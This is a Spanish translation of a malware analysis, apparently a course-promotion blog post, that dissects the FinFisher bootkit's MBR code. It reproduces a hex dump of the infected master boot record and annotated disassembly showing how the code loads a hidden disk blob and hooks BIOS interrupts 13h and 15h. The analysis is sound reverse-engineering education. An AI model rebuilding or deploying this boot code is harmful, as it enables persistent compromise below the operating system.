Buenas tardes Exactamente una semana después, el curso de
ingeniería inversa comenzará con nosotros, y hoy queremos compartir con ustedes una traducción de material que esté directamente relacionado con este curso. Vamos
Recientemente
examinamos el kit de arranque de malware FinFisher publicado por
WikiLeaks . La mayoría de los componentes de la versión de Windows eran bastante simples, así que pasemos al controlador del modo kernel y al código de arranque.

El controlador en modo kernel lee directamente los datos sin procesar del disco duro o los escribe en él. Puede encontrar una versión simplificada del método utilizado por el controlador en
este artículo.El programa malicioso crea una copia del registro maestro de arranque (abreviado como MBR) y lo guarda por separado en el disco duro. Además, el programa escribe 0x2A00 bytes de datos en el disco duro infectado. Posteriormente se copian con código de arranque malicioso. La dirección del primer sector que contiene estos datos está codificada en el código de arranque. Para encontrar su ubicación física, el malware usa Logical Block Addressing (LBA).
En la máquina de prueba, el MBR se sobrescribió con los siguientes datos:
f9fef780 fa 31 c0 8e c0 8e d8 8e d0 bc fc ff fb 88 16 34 .1.............4 f9fef790 7c 68 00 00 68 37 7c cb 18 a7 3f 01 00 00 00 00 |h..h7|...?..... f9fef7a0 15 00 00 00 2e a7 3f 01 00 00 00 00 89 c0 89 c9 ......?......... f9fef7b0 89 d2 31 02 00 00 00 b4 41 bb aa 55 cd 13 72 11 ..1.....A..U..r. f9fef7c0 81 fb 55 aa 75 0b f7 c1 01 00 74 05 c6 06 36 7c ..Uu....t...6| f9fef7d0 01 8a 16 34 7c b4 08 cd 13 88 c8 24 3f a2 c2 7c ...4|......$?..| f9fef7e0 88 e8 88 cc c0 ec 06 40 a3 c3 7c 30 f6 fe c2 89 .......@..|0.... f9fef7f0 16 c5 7c 66 8b 0e 18 7c 66 8b 16 1c 7c b8 00 01 ..|f...|f...|... f9fef800 2d 20 00 8e c0 66 31 db 66 51 8c c0 05 20 00 8e - ...f1.fQ... .. f9fef810 c0 80 3e 36 7c 01 74 06 e8 62 00 e9 03 00 e8 36 ..>6|.t..b.....6 f9fef820 00 66 59 66 81 c1 01 00 00 00 66 81 d2 00 00 00 .fYf......f..... f9fef830 00 66 ff 0e 20 7c 75 d0 8a 16 34 7c ea 00 10 00 .f.. |u...4|.... f9fef840 00 00 00 00 00 00 00 10 00 01 00 00 00 00 00 00 ................ f9fef850 00 00 00 00 00 00 00 8c c0 a3 cd 7c 89 1e cb 7c ...........|...| f9fef860 66 89 0e cf 7c 66 89 16 d3 7c 66 52 66 31 d2 8a f...|f...|fRf1.. f9fef870 16 34 7c be c7 7c b4 42 cd 13 66 5a c3 66 52 66 .4|..|.B..fZ.fRf f9fef880 53 66 89 c8 66 31 d2 66 31 db 8a 1e c2 7c 66 f7 Sf..f1.f1....|f. f9fef890 f3 66 42 88 16 c1 7c 66 31 d2 66 31 db 8b 1e c5 .fB...|f1.f1.... f9fef8a0 7c 66 f7 f3 8a 0e c1 7c 88 c5 88 d6 66 5b 8a 16 |f.....|....f[.. f9fef8b0 34 7c b8 01 02 cd 13 66 5a c3 00 00 00 00 00 00 4|.....fZ....... f9fef8c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ f9fef8d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ f9fef8e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ f9fef8f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ f9fef900 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ f9fef910 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ f9fef920 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ f9fef930 00 00 00 00 00 00 00 00 65 f7 65 f7 00 00 80 01 ........ee.... f9fef940 01 00 07 fe ff ff 3f 00 00 00 d9 a6 3f 01 00 00 ......?.....?... f9fef950 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ f9fef960 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ f9fef970 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa ..............U.
Una inspección rápida de los datos sugiere que el malware cambió el código de arranque, pero la información de la tabla de particiones permaneció intacta.
Análisis de código de arranque maliciosoConsideremos con más detalle las partes más interesantes del código de arranque. En primer lugar, se realiza la comprobación de instalación de la Unidad de disco extendida (EDD):
seg000:0037 B4 41 mov ah, 41h ; 'A' seg000:0039 BB AA 55 mov bx, 55AAh seg000:003C CD 13 int 13h
El malware establece un indicador que indica si el EDD está configurado. El indicador controla el método utilizado por el malware para leer datos del disco duro en la memoria física:
seg000:004C C6 06 36 7C 01 mov byte ptr ds:if_edd_installed, 1 ;7C36h
Luego, el malware obtiene la configuración del disco:
seg000:0051 8A 16 34 7C mov dl, ds:7C34h ;drive number, first drive is 0x80 seg000:0055 B4 08 mov ah, 8 seg000:0057 CD 13 int 13h
Por el momento, el programa ha recopilado suficiente información para copiar un blob malicioso de 0x2A00 bytes del disco duro a la memoria física. Se copia un blob de datos en un sector a la vez. El siguiente código es el bucle utilizado por el malware para copiar el código:
seg000:0091 80 3E 36 7C 01 cmp byte ptr ds:if_edd_installed, 1 seg000:0096 74 06 jz short loc_9E seg000:0098 E8 62 00 call read_data_method_no_edd_installed seg000:009B E9 03 00 jmp loc_A1 seg000:009E ; --------------------------------------------------------------------------- seg000:009E seg000:009E loc_9E: seg000:009E E8 36 00 call read_data_method_edd_installed seg000:00A1 seg000:00A1 loc_A1: seg000:00A1 66 59 pop ecx seg000:00A3 66 81 C1 01 00 00 00 add ecx, 1 seg000:00AA 66 81 D2 00 00 00 00 adc edx, 0 seg000:00B1 66 FF 0E 20 7C dec dword ptr ds:7C20h ;0x0015 seg000:00B6 75 D0 jnz short loc_88
A continuación se muestra el código de la función que se utiliza para copiar datos al instalar EDD:
BOOT_SECTOR:7CD7 8C C0 mov ax, es BOOT_SECTOR:7CD9 A3 CD 7C mov word_7CCD, ax BOOT_SECTOR:7CDC 89 1E CB 7C mov word_7CCB, bx BOOT_SECTOR:7CE0 66 89 0E CF 7C mov dword_7CCF, ecx BOOT_SECTOR:7CE5 66 89 16 D3 7C mov dword_7CD3, edx BOOT_SECTOR:7CEA 66 52 push edx BOOT_SECTOR:7CEC 66 31 D2 xor edx, edx BOOT_SECTOR:7CEF 8A 16 34 7C mov dl, byte_7C34 BOOT_SECTOR:7CF3 BE C7 7C mov si, 7CC7h BOOT_SECTOR:7CF6 B4 42 mov ah, 42h ; 'B' BOOT_SECTOR:7CF8 CD 13 int 13h ; DISK - IBM/MS Extension - EXTENDED READ (DL - drive, DS:SI - disk address packet)
En este ejemplo, antes de llamar a INT 13h para copiar el primer sector de datos maliciosos en la memoria física de la máquina de prueba, tenemos los siguientes argumentos:
0x0000000000007cc7 <bogus+ 0>: 0x0010 0x0001 0x0000 0x0100 0xa718 0x013f 0x0000 0x0000 +0: 0x10 - packet size +2: 0x1 - number of sectors +4: 0x0000 - offset +6: 0x1000 - segment +8: 0x013fa718 - LBA
Después de que el malware termina de copiar los datos, va al código copiado y continúa la ejecución allí:
seg000:00B8 8A 16 34 7C mov dl, ds:7C34h ;0x0000 seg000:00BC EA 00 10 00 00 jmp far ptr 0:1000h
El código en 0x1000 es la parte más interesante del programa. Pero antes de continuar con el análisis, vale la pena recordar que el kit de arranque FinFisher funciona en modo real. Esto es diferente del modo protegido. Una de las diferencias es que debe calcular las direcciones físicas utilizando una combinación de los registros es: di y ds: si.
La fórmula para calcular la dirección física es (segmento * 0x10) + desplazamiento. Por ejemplo, si miramos el par es: di, entonces es es el segmento y di es el desplazamiento. Todas las direcciones a continuación se calculan utilizando esta fórmula.
Ahora veamos la parte más interesante del código. En primer lugar, el malware calcula la dirección del segmento desde el que se copian los datos (esta es la segunda vez que se copia el blob de datos):
seg000:0024 88 16 1B 00 mov ds:1Bh, dl seg000:0028 BE 13 04 mov si, 413h seg000:002B 26 8B 04 mov ax, es:[si] seg000:002E 66 0F B7 C0 movzx eax, ax seg000:0032 66 C1 E0 0A shl eax, 0Ah seg000:0036 66 2D C2 28 00 00 sub eax, 28C2h ;before the segment address is stored: ;<bochs:148> x /1hw 0x101c ;[bochs]:0x000000000000101c <bogus+ 0>: 0x00000000 seg000:003C 66 A3 1C 00 mov ds:1Ch, eax ;ds = 0x0100, ds:1ch = hex((0x0100* 0x10) + 0x1c) = 0x101c ;after the segment address is stored: ;<bochs:150> x /1hw 0x101c ;[bochs]:0x000000000000101c <bogus+ 0>: 0x0009d33e
Luego, el programa establece ganchos para los manejadores INT 13h e INT 15h. Como puede ver en el código anterior, el programa malicioso no da nuevas ideas sobre cómo interceptar manejadores de interrupciones de bajo nivel:
seg000:0040 66 50 push eax seg000:0042 66 C1 E8 0A shr eax, 0Ah seg000:0046 26 89 04 mov es:[si], ax ;es=0x0000, si = 0x0413 ;before: <bochs:156> x /1hw 0x413 [bochs]: 0x0000000000000413 <bogus+ 0>: 0x0000027f ;after: ;<bochs:158> x /1hw 0x413 [bochs]: 0x0000000000000413 <bogus+ 0>: 0x00000274 seg000:0049 66 58 pop eax seg000:004B seg000:004B loc_4B: seg000:004B seg000:004B 66 C1 E8 04 shr eax, 4 seg000:004F A3 22 00 mov ds:22h, ax ;ax = 0x9d33 ;after: ;<bochs:167> x /1hh 0x1022 [bochs]: 0x0000000000001022 <bogus+ 0>: 0x9d33 seg000:0052 FA cli seg000:0053 loc_53: seg000:0053 8C D8 mov ax, ds seg000:0055 8E C0 mov es, ax seg000:0057 66 B8 20 E8 00 00 mov eax, 0E820h ;get system memory map seg000:005D 66 BA 50 41 4D 53 mov edx, 534D4150h ;"SMAP" seg000:0063 66 31 DB xor ebx, ebx ;start at the beginning of the map. seg000:0066 66 31 FF xor edi, edi seg000:0069 BF 26 01 mov di, 126h ;es:di buffer that gets the result. ;es = 0x100, di = 0x0126 seg000:006C 26 66 C7 45 14 01 00 00+ mov dword ptr es:[di+14h], 1 seg000:0075 66 B9 18 00 00 00 mov ecx, 18h ;size of the buffer. seg000:007B CD 15 int 15h ;BIOS Memory Services seg000:007D 72 34 jb short loc_B3 seg000:007F 66 3D 50 41 4D 53 cmp eax, 534D4150h ;check if "SMAP" seg000:0085 75 2C jnz short loc_B3 seg000:0087 66 85 DB test ebx, ebx seg000:008A 74 27 jz short loc_B3 seg000:008C db 3Eh seg000:008C 3E 66 89 1E F2 02 mov ds:2F2h, ebx ;holds continuation value ;ds = 0x100, physical address 0x12f2 seg000:0092 66 31 C0 xor eax, eax seg000:0095 8E C0 mov es, ax seg000:0097 assume es:nothing seg000:0097 26 66 A1 54 00 mov eax, dword ptr es:int_15_h ;IVTABLE:0054 seg000:009C db 3Eh ;debug001:12EE 00 00 00 00 dword_12EE dd 0 ;debug001:12F2 01 00 00 00 dword_12F2 dd 1 seg000:009C 3E 66 A3 EE 02 mov ds:2EEh, eax ;debug001:12EE 59 F8 00 F0 dword_12EE dd 0F000F859h ;debug001:12F2 01 00 00 00 dword_12F2 dd 1 seg000:00A1 A1 22 00 mov ax, ds:22h ;segment_hook ;previously calculated value 0x9d33 seg000:00A4 66 C1 E0 10 shl eax, 10h seg000:00A8 66 05 42 01 00 00 add eax, 142h ;before hook is installed: IVTABLE:004C FE E3 00 F0 dword_4C dd 0F000E3FEh IVTABLE:004C IVTABLE:0050 39 E7 word_50 dw 0E739h IVTABLE:0052 00 F0 word_52 dw 0F000h IVTABLE:0054 59 F8 00 F0 dword_54 dd 0F000F859h IVTABLE:0054 seg000:00AE 26 66 A3 54 00 mov dword ptr es:int_15_h, eax ;hooks INT15h ;<bochs:206> x /1hw 0x54 [bochs]: 0x0000000000000054 <bogus+ 0>: 0x9d330142 ;IVTABLE:0054 42 01 word_54 dw 142h ;offset ;IVTABLE:0056 33 9D dw 9D33h ;segment seg000:00B3 loc_B3: seg000:00B3 66 31 C0 xor eax, eax seg000:00B6 8E C0 mov es, ax seg000:00B8 26 66 A1 4C 00 mov eax, dword ptr es:int_13_h ;before: ;debug001:11D4 00 00 00 00 int_13_original dd 0 ;after: ;debug001:11D4 FE E3 00 F0 int_13_original dd 0F000E3FEh seg000:00BD db 3Eh seg000:00BD 3E 66 A3 D4 01 mov ds:1D4h, eax ;debug001:11CC FE E3 00 F0 int_13_original_1 dd 0F000E3FEh seg000:00C2 3E 66 A3 CC 01 mov ds:1CCh, eax seg000:00C7 A1 22 00 mov ax, ds:22h ;0x9d33 seg000:00CA 66 C1 E0 10 shl eax, 10h seg000:00CE db 3Eh seg000:00CE 3E 66 A3 51 02 mov ds:251h, eax ;before: ;debug001:1251 00 00 00 00 hook_segment dd 0 ;after: ;debug001:1251 00 00 33 9D hook_segment dd 9D330000h seg000:00D3 66 05 12 01 00 00 add eax, 112h seg000:00D9 26 66 A3 4C 00 mov dword ptr es:loc_4B+1, eax ;hooks INT13h ;es = 0x00 eax = 0x112 ;IVT after both INT 13h and INT 15h hooks are installed: IVTABLE:004C 12 01 int_13_h dw 112h ; offset IVTABLE:004E 33 9D dw 9D33h ; segment IVTABLE:0050 39 E7 word_50 dw 0E739h IVTABLE:0052 00 F0 word_52 dw 0F000h IVTABLE:0054 42 01 int_15_h dw 142h ; offset IVTABLE:0056 33 9D dw 9D33h ; segment
Ahora los ganchos están configurados para INT 13h e INT 15h, pero el código para las funciones que enganchan INT aún no se ha copiado en el segmento calculado. Obviamente, el siguiente paso es copiar el código de los controladores interceptados:
seg000:00DE A1 22 00 mov ax, ds:22h seg000:00E1 8E C0 mov es, ax seg000:00E3 31 FF xor di, di seg000:00E5 B9 C2 28 mov cx, 28C2h seg000:00E8 FC cld seg000:00E9 BE 3E 01 mov si, 13Eh seg000:00EC F3 A4 rep movsb ;si = 0x013e - source of the data to be copied. ;di = 0x0000 - destination ;cx = 0x28c2 - number of bytes to be copied. ;ds = 0x0100, es = 0x9d33 ;the actual physical addresses of the source is ds:[si] = ;hex((0x0100 * 0x10) + 0x13e) = 0x113e ;the physical address of the destination is es:[di] = ;hex((0x9dd3 * 0x10) + 0x0000) = 0x9dd30 ;copies all the data copied in the first stage except for the first 0x13e bytes. ;hex(0x2a00-0x28c2) = 0x13e
Ahora el malware está listo para recuperar el control del MBR original, pero primero, necesita restaurar el MBR a 0x7C00 (el sector en el que se encuentra la copia del MBR original se almacena en otro lugar del disco duro) y luego transferir la ejecución del MBR original.
seg000:00EE FB sti seg000:00EF 66 8B 0E 13 00 mov ecx, ds:13h seg000:00F4 66 8B 16 17 00 mov edx, ds:17h seg000:00F9 66 89 0E 1E 01 mov ds:11Eh, ecx seg000:00FE 66 89 16 22 01 mov ds:122h, edx seg000:0103 BE 16 01 mov si, 116h ;buffer ;ds = 0x0100, address 0x1116 seg000:0106 BB AA 55 mov bx, 55AAh seg000:0109 8A 16 1B 00 mov dl, ds:1Bh ;drive number here 0x80 seg000:010D B4 42 mov ah, 42h ; 'B' seg000:010F CD 13 int 13h ;DISK - IBM/MS Extension - EXTENDED READ (DL - drive, DS:SI - disk address packet) ;INT 13h is hooked now ;debug003:0112 EA 00 00 33 9D jmp far ptr loc_9D330 ;<bochs:267> x /10hh 0x1116 [bochs]: 0x0000000000001116 <bogus+ 0>: 0x0010 0x0001 0x7c00 0x0000 0xa72d 0x013f 0x 0000 0x0000 0x0000000000001126 <bogus+ 16>: 0x0000 0x0000 size of the packet 0x0010 number of blocks to transfer = 0x0001 destination 0x7c00 LBA: 0x013fa7d2 ;Jumps to the original MBR here: seg000:0111 EA 00 7C 00 00 jmp far ptr 0:7C00h
Lo que aprendimos del kit de arranque FinFisherEste ejemplo de kit de arranque FinFisher no ofrece nuevas técnicas o mejoras sobre otros kits de arranque. Los creadores de malware decidieron establecer enlaces para los controladores INT 13h e INT 15h antes de que el código de estos controladores se copie en la memoria; lo que podría ser desastroso Por ejemplo, si el código de las funciones del controlador interceptado no se puede copiar, puede producirse un bloqueo del sistema.
Tradicionalmente, estamos esperando sus comentarios e invitamos a todos a una
jornada de puertas abiertas , que se realizará mañana.